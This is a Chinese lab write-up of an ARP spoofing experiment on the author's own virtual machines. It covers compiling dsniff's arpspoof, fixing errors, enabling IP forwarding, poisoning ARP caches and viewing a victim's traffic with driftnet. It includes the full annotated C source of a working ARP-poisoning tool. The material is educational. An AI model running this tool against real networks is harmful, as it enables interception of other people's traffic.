ArpSpoof欺騙
環境配置
安裝兩臺虛擬機。
安裝的虛擬機分別爲ubuntu18.04和windows10。
使用ubuntu作爲攻擊主機,windows作爲被攻擊主機,宿主主機作爲與被攻擊主機通信的主機。
兩臺虛擬機與主機網路連接方式爲橋接網絡的形式,保證上述三臺主機在同一子網下的不同ip地址下。
實例講解虛擬機3種網絡模式(橋接、nat、Host-only)
橋接網絡是指本地物理網卡和虛擬網卡通過VMnet0虛擬交換機進行橋接,物理網卡和虛擬網卡在拓撲圖上處於同等地位,那麼物理網卡和虛擬網卡就相當於處於同一個網段,虛擬交換機就相當於一臺現實網絡中的交換機,所以兩個網卡的IP地址也要設置爲同一網段。
安裝實驗所需依賴包
sudo apt install libnet1 sudo apt install libpcap-dev sudo apt install libnet1-dev
獲取源碼並合併成一個文件
- 通過命令
sudo apt source dsniff
下載源碼,將arp.c,arp.h,和arpspoof.c三個文件合併起來。 - 去除對於dsniff目錄下的version.h和config.h的依賴,見附錄文件。
- 閱讀並理解該代碼文件,並對文件進行註釋,見附錄文件。
- 通過命令
實驗內容
編譯文件生成可執行文件arpspoof,其中編譯命令爲
gcc arpspoof.c -lnet -lpcap -o arpspoof
。- 過程中遇到編譯不通過,原因分別爲:
- 沒有去除對於dsniff目錄下其他源文件的依賴。
- 沒有指定libnet和libpcap第三方庫的路徑,使用編譯參數
-lnet -lpcap
指定編譯時搜索libnet和libpcap的路徑。
- 過程中遇到編譯不通過,原因分別爲:
獲取當前三臺主機的IP地址,查看arp表
宿主機 IP 192.168.1.147 ubuntu IP 192.168.1.225 windows10虛擬機IP 192.168.1.154
運行arpspoof命令,對windows宿主機和windows虛擬機進行欺騙。
出現過如下問題:
上述問題原因爲arpspoof命令需要構建鏈路層包,執行該命令需要root權限,因此使用sudo執行該命令。
上述問題出現的原因爲ubuntu虛擬機的網卡命名方式的改變,使用ifconfig
查看ubuntu虛擬機網卡名稱爲enp0s3Predictable Network Interface Names
Starting with v197 systemd/udev will automatically assign predictable, stable network interface names for all local Ethernet, WLAN and WWAN interfaces. This is a departure from the traditional interface naming scheme (“eth0”, “eth1”, “wlan0”, …), but should fix real problems.
-
上述問題提示不能解析該主機。查看源碼中出現該問題的位置,
可知該地址不在ubuntu主機的arp緩存中,由於沒有使用命令
sudo echo 1 > /proc/sys/net/ipv4/ip_forward
開啓端口轉發,開啓端口轉發後對ubuntu主機嘗試使用ping命令,向windows宿主機和虛擬機發包,這樣會發現ubuntu主機的arp緩存表中出現了兩臺windows的IP和Mac地址映射。注:
- 上述IP地址和2中IP地址不一樣,原因爲實驗過程中網絡環境的變化,最終結果以2爲準。
解決所有問題後的攻擊過程。
上圖爲正在攻擊時ubuntu主機的執行過程。
- 爲了證明攻擊的有效性,我們打開window宿主機和虛擬機的arp緩存,發現如下結果
由圖可知windows虛擬機arp緩存表中windows宿主機的硬件地址和ubuntu虛擬機的硬件地址是完全一樣的,這說明win虛擬機已經錯把ubuntu的mac地址放置在緩存中了。
使用driftnet查看win虛擬機訪問的外網圖片。
實現該攻擊的原因是windows宿主機即爲本子網的網關,win虛擬機對於外網的訪問必須經過win宿主機。但是由上圖可知,ubuntu對window虛擬機和宿主機進行了攻擊,這使得win虛擬機的每次對外網的訪問均需要經過ubuntu的偷窺。
使用windows瀏覽器查詢
廈門大學
,得到如下結果
代碼附錄
/*
* arp.c
*
* ARP cache routines.
*
* Copyright (c) 1999 Dug Song <[email protected]>
*
* $Id: arp.c,v 1.8 2001/03/15 08:32:58 dugsong Exp $
*/
//#include "config.h"
#include <sys/types.h>
#include <sys/param.h>
#include <sys/socket.h>//套接字相關的函數聲明及結構體聲明
/*
定義sock_addr, msghdr, cmsghdr等宏
*/
#ifdef BSD
#include <sys/sysctl.h>
#include <net/if_dl.h>
#include <net/route.h>
#ifdef __FreeBSD__ /* XXX */
#define ether_addr_octet octet
#endif
#else /* !BSD */
#include <sys/ioctl.h>
#ifndef __linux__
#include <sys/sockio.h>
#endif
#endif /* !BSD */
#include <net/if.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>//互聯網協議及通信配置
/*
定義了in_port in_addr_t及sock_addr_in等結構體,
定義了IPPIPPROTO_IP, IPPROTO_ICMP, IPPROTO_TCP,
IPPROTO_UDP, INADDR_ANY, INADDR_BROADCAST等協議宏
和地址類型宏。
*/
#include <netinet/if_ether.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int arp_cache_lookup(in_addr_t ip, struct ether_addr *ether, const char* linf);
//arp緩存查找,該函數在arp緩存中查找目標ip地址的對應的mac地址,並保存到結構體ether中
#ifdef BSD//類unix操作系統下定義arp 緩存查找函數
int
arp_cache_lookup(in_addr_t ip, struct ether_addr *ether, const char* linf)
{
int mib[6];
size_t len;
char *buf, *next, *end;
struct rt_msghdr *rtm;
struct sockaddr_inarp *sin;
struct sockaddr_dl *sdl;
mib[0] = CTL_NET;
mib[1] = AF_ROUTE;
mib[2] = 0;
mib[3] = AF_INET;
mib[4] = NET_RT_FLAGS;
mib[5] = RTF_LLINFO;
/*
函數原型
int sysctl(const int *name, u_int namelen, void *oldp,size_t *oldlenp, void *newp, size_t newlen);
sysctl函數檢索系統信息並允許具有適當權限的用戶設置系統信息.結果信息被複制到oldp指示的地址空間中.
需訪問和設置的內核狀態在MIB(Management Information Base)中指明,即下面函數中6個int長的mib數組.
*/
if (sysctl(mib, 6, NULL, &len, NULL, 0) < 0)
return (-1);
if ((buf = (char *)malloc(len)) == NULL)
return (-1);
if (sysctl(mib, 6, buf, &len, NULL, 0) < 0) {
free(buf);
return (-1);
}
//訪問內核狀態和信息成功
end = buf + len;
//遍歷查找表項中對應IP地址的mac地址
for (next = buf ; next < end ; next += rtm->rtm_msglen) {
rtm = (struct rt_msghdr *)next;
sin = (struct sockaddr_inarp *)(rtm + 1);
sdl = (struct sockaddr_dl *)(sin + 1);
//如果s_addr和查找的IP地址相等且sdl_alen長度不爲零,找到
if (sin->sin_addr.s_addr == ip && sdl->sdl_alen) {
memcpy(ether->ether_addr_octet, LLADDR(sdl),
ETHER_ADDR_LEN);
free(buf);
return (0);
}
}
free(buf);//釋放前面分配的緩存空間
return (-1);
}
#else /* !BSD */
#ifndef ETHER_ADDR_LEN /* XXX - Solaris */
#define ETHER_ADDR_LEN 6
#endif
int
arp_cache_lookup(in_addr_t ip, struct ether_addr *ether, const char* lif)
{
int sock;
struct arpreq ar;
struct sockaddr_in *sin;
memset((char *)&ar, 0, sizeof(ar));
#ifdef __linux__
strncpy(ar.arp_dev, lif, strlen(lif));
#endif
sin = (struct sockaddr_in *)&ar.arp_pa;
sin->sin_family = AF_INET;
sin->sin_addr.s_addr = ip;
/*
函數原型: int socket(int domain,int type,int protocol)
domain:協議類型,一般爲AF_INET type:socket類型
protocol:用來指定socket所使用的傳輸協議編號,通常設爲0即可
*/
if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
return (-1);
}
if (ioctl(sock, SIOCGARP, (caddr_t)&ar) == -1) {
close(sock);
return (-1);
}
close(sock);
//設置ether_addr_octec的值爲ar.arp_ha.sa_data
memcpy(ether->ether_addr_octet, ar.arp_ha.sa_data, ETHER_ADDR_LEN);
return (0);
}
#endif /* !BSD */
/*
* arpspoof.c
*
* Redirect packets from a target host (or from all hosts) intended for
* another host on the LAN to ourselves.
*
* Copyright (c) 1999 Dug Song <[email protected]>
*
* $Id: arpspoof.c,v 1.5 2001/03/15 08:32:58 dugsong Exp $
*
* Improved 2011 by Stefan Tomanek <[email protected]>
*/
// #include "config.h"
#include <sys/types.h>
#include <sys/param.h>
#include <netinet/in.h>
// #include <stdio.h>
// #include <string.h>
#include <signal.h>
#include <err.h>
#include <libnet.h>
#include <pcap.h>
// #include "arp.h"
// #include "version.h"
//函數將48位的Ethernet 數字轉換成對應的ascii表示形式
extern char *ether_ntoa(struct ether_addr *);
struct host {
in_addr_t ip;
struct ether_addr mac;
};
static libnet_t *l;
static struct host spoof = {0};
static struct host *targets;
static char *intf;
static int poison_reverse;
static uint8_t *my_ha = NULL;
static uint8_t *brd_ha = "\xff\xff\xff\xff\xff\xff";
static int cleanup_src_own = 1;
static int cleanup_src_host = 0;
static void
usage(void)
{
//fprintf(stderr, "Version: " VERSION "\n"
// "Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host\n");
fprintf(stderr, "Version: No version code\n"
"Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host\n");
exit(1);
}
/*該函數構建arp包並且發送給指定目標ip地址
其中參數指定了
鏈路層接口 llif
網絡設備名稱 dev
arp包操作 op
源硬件地址 sha
源ip地址 spa
目的硬件地址 tha
目的ip地址 tpa
*/
static int
arp_send(libnet_t *l, int op,
u_int8_t *sha, in_addr_t spa,
u_int8_t *tha, in_addr_t tpa,
u_int8_t *me)
{
int retval;
if (!me) me = sha;
/*libnet_autobuild_arp函數,功能爲構造arp數據包 */
libnet_autobuild_arp(op, sha, (u_int8_t *)&spa,
tha, (u_int8_t *)&tpa, l);
/*libnet_build_ethernet函數,功能爲構造一個以太網數據包*/
libnet_build_ethernet(tha, me, ETHERTYPE_ARP, NULL, 0, l, 0);
fprintf(stderr, "%s ",
ether_ntoa((struct ether_addr *)me));
//消息回顯
//arp請求操作,錯誤輸出發出arp請求的消息內容
//否則返回reply消息內容
if (op == ARPOP_REQUEST) {
fprintf(stderr, "%s 0806 42: arp who-has %s tell %s\n",
ether_ntoa((struct ether_addr *)tha),
libnet_addr2name4(tpa, LIBNET_DONT_RESOLVE),
libnet_addr2name4(spa, LIBNET_DONT_RESOLVE));
}
else {
fprintf(stderr, "%s 0806 42: arp reply %s is-at ",
ether_ntoa((struct ether_addr *)tha),
libnet_addr2name4(spa, LIBNET_DONT_RESOLVE));
fprintf(stderr, "%s\n",
ether_ntoa((struct ether_addr *)sha));
}
retval = libnet_write(l);
if (retval)
fprintf(stderr, "%s", libnet_geterror(l));
libnet_clear_packet(l);
return retval;
}
#ifdef __linux__//linux專用的arp_force函數
static int
arp_force(in_addr_t dst)
{
struct sockaddr_in sin;
int i, fd;
if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
return (0);
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = dst;
sin.sin_port = htons(67);
i = sendto(fd, NULL, 0, 0, (struct sockaddr *)&sin, sizeof(sin));
close(fd);
return (i == 0);
}
#endif
static int
arp_find(in_addr_t ip, struct ether_addr *mac)
{
int i = 0;
do {
if (arp_cache_lookup(ip, mac, intf) == 0)
return (1);
#ifdef __linux__
/* XXX - force the kernel to arp. feh. */
arp_force(ip);
#else
arp_send(l, ARPOP_REQUEST, NULL, 0, NULL, ip, NULL);
#endif
sleep(1);
}
while (i++ < 3);
return (0);
}
static int arp_find_all() {
struct host *target = targets;
while(target->ip) {
if (arp_find(target->ip, &target->mac)) {
return 1;
}
target++;
}
return 0;
}
static void
cleanup(int sig)
{
int fw = arp_find(spoof.ip, &spoof.mac);
int bw = poison_reverse && targets[0].ip && arp_find_all();
int i;
int rounds = (cleanup_src_own*5 + cleanup_src_host*5);
fprintf(stderr, "Cleaning up and re-arping targets...\n");
//清理時不做欺騙形式的arp應答,即reply應答都是正確的
for (i = 0; i < rounds; i++) {
struct host *target = targets;
//對於目標中的每個IP,均做rounds遍清理操作
while(target->ip) {
uint8_t *src_ha = NULL;
if (cleanup_src_own && (i%2 || !cleanup_src_host)) {
src_ha = my_ha;
}
/* XXX - on BSD, requires ETHERSPOOF kernel. */
if (fw) {
//正確的應答
arp_send(l, ARPOP_REPLY,
(u_int8_t *)&spoof.mac, spoof.ip,
(target->ip ? (u_int8_t *)&target->mac : brd_ha),
target->ip,
src_ha);
/* we have to wait a moment before sending the next packet */
sleep(1);
}
if (bw) {
//正確的反向應答
arp_send(l, ARPOP_REPLY,
(u_int8_t *)&target->mac, target->ip,
(u_int8_t *)&spoof.mac,
spoof.ip,
src_ha);
sleep(1);
}
target++;
}
}
exit(0);
}
int
main(int argc, char *argv[])
{
extern char *optarg;//選項的參數指針
extern int optind; //下一次調用getopt時,從optind存儲的位置處檢查選項
char pcap_ebuf[PCAP_ERRBUF_SIZE];
char libnet_ebuf[LIBNET_ERRBUF_SIZE];
int c;
int n_targets;
char *cleanup_src = NULL;
spoof.ip = 0;
intf = NULL;
poison_reverse = 0;
n_targets = 0;
/* allocate enough memory for target list */
targets = calloc( argc+1, sizeof(struct host) );
if ((l = libnet_init(LIBNET_LINK, NULL, libnet_ebuf)) == NULL)
errx(1, "%s", libnet_ebuf);
//輸入參數解析代碼
while ((c = getopt(argc, argv, "ri:t:c:h?V")) != -1) {
switch (c) {
case 'i':
intf = optarg;
break;
case 't':
//對於每個被欺騙對象,需要在該ip前指定參數爲目標 -t XXXX
if ((targets[n_targets++].ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
usage();
break;
case 'r':
poison_reverse = 1;
break;
case 'c':
cleanup_src = optarg;
break;
default:
usage();
}
}
argc -= optind; //參數個數減少optind
argv += optind; //指針位置增加optind
if (argc != 1)
usage();
if (poison_reverse && !n_targets) {
errx(1, "Spoofing the reverse path (-r) is only available when specifying a target (-t).");
usage();
}
//
if (!cleanup_src || strcmp(cleanup_src, "own")==0) { /* default! */
/* only use our own hw address when cleaning up,
* not jeopardizing any bridges on the way to our
* target
*/
cleanup_src_own = 1;
cleanup_src_host = 0;
} else if (strcmp(cleanup_src, "host")==0) {
/* only use the target hw address when cleaning up;
* this can screw up some bridges and scramble access
* for our own host, however it resets the arp table
* more reliably
*/
cleanup_src_own = 0;
cleanup_src_host = 1;
} else if (strcmp(cleanup_src, "both")==0) {
cleanup_src_own = 1;
cleanup_src_host = 1;
} else {
errx(1, "Invalid parameter to -c: use 'own' (default), 'host' or 'both'.");
usage();
}
//spoofip是參數中的最後一個IP地址參數. 例如使用arpspoof -i -t target1 -t target2 spoofip
//arp欺騙時向target發送arp應答:spoofip的mac地址爲本機硬件地址
if ((spoof.ip = libnet_name2addr4(l, argv[0], LIBNET_RESOLVE)) == -1)
usage();
libnet_destroy(l);
if (intf == NULL && (intf = pcap_lookupdev(pcap_ebuf)) == NULL)
errx(1, "%s", pcap_ebuf);
if ((l = libnet_init(LIBNET_LINK, intf, libnet_ebuf)) == NULL)
errx(1, "%s", libnet_ebuf);
struct host *target = targets;
//實驗過程中遇到該問題,arp緩存中沒有找到該轉發項,原因是沒打開ip轉發
while(target->ip) {
//欺騙的target均必須出現在本機的arp緩存中
if (target->ip != 0 && !arp_find(target->ip, &target->mac))
errx(1, "couldn't arp for host %s",
libnet_addr2name4(target->ip, LIBNET_DONT_RESOLVE));
target++;
}
if (poison_reverse) {
if (!arp_find(spoof.ip, &spoof.mac)) {
errx(1, "couldn't arp for spoof host %s",
libnet_addr2name4(spoof.ip, LIBNET_DONT_RESOLVE));
}
}
if ((my_ha = (u_int8_t *)libnet_get_hwaddr(l)) == NULL) {
errx(1, "Unable to determine own mac address");
}
//當程序收到SIGHUP, SIGINT, 和SIGTERM信號時,調用cleanup函數取消欺騙動作
signal(SIGHUP, cleanup);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);
//程序死循環發送arp應答,持續攻擊被攻擊者,向其發送arp應答,實現arp欺騙.
for (;;) {
if (!n_targets) {
arp_send(l, ARPOP_REPLY, my_ha, spoof.ip, brd_ha, 0, my_ha);
} else {
struct host *target = targets;
//對於每個target,均實施針對spoof ip的欺騙應答
while(target->ip) {
//提供的mac地址爲my_ha,arp_send函數自動獲取本機硬件地址填入arp應答包, 以此欺騙被攻擊者
arp_send(l, ARPOP_REPLY, my_ha, spoof.ip,
(target->ip ? (u_int8_t *)&target->mac : brd_ha),
target->ip,
my_ha);
printf("hello arpspoofing\n");//消息回顯
if (poison_reverse) {
arp_send(l, ARPOP_REPLY, my_ha, target->ip, (uint8_t *)&spoof.mac, spoof.ip, my_ha);
}
target++;
}
}
sleep(2);
}
/* NOTREACHED */
exit(0);
}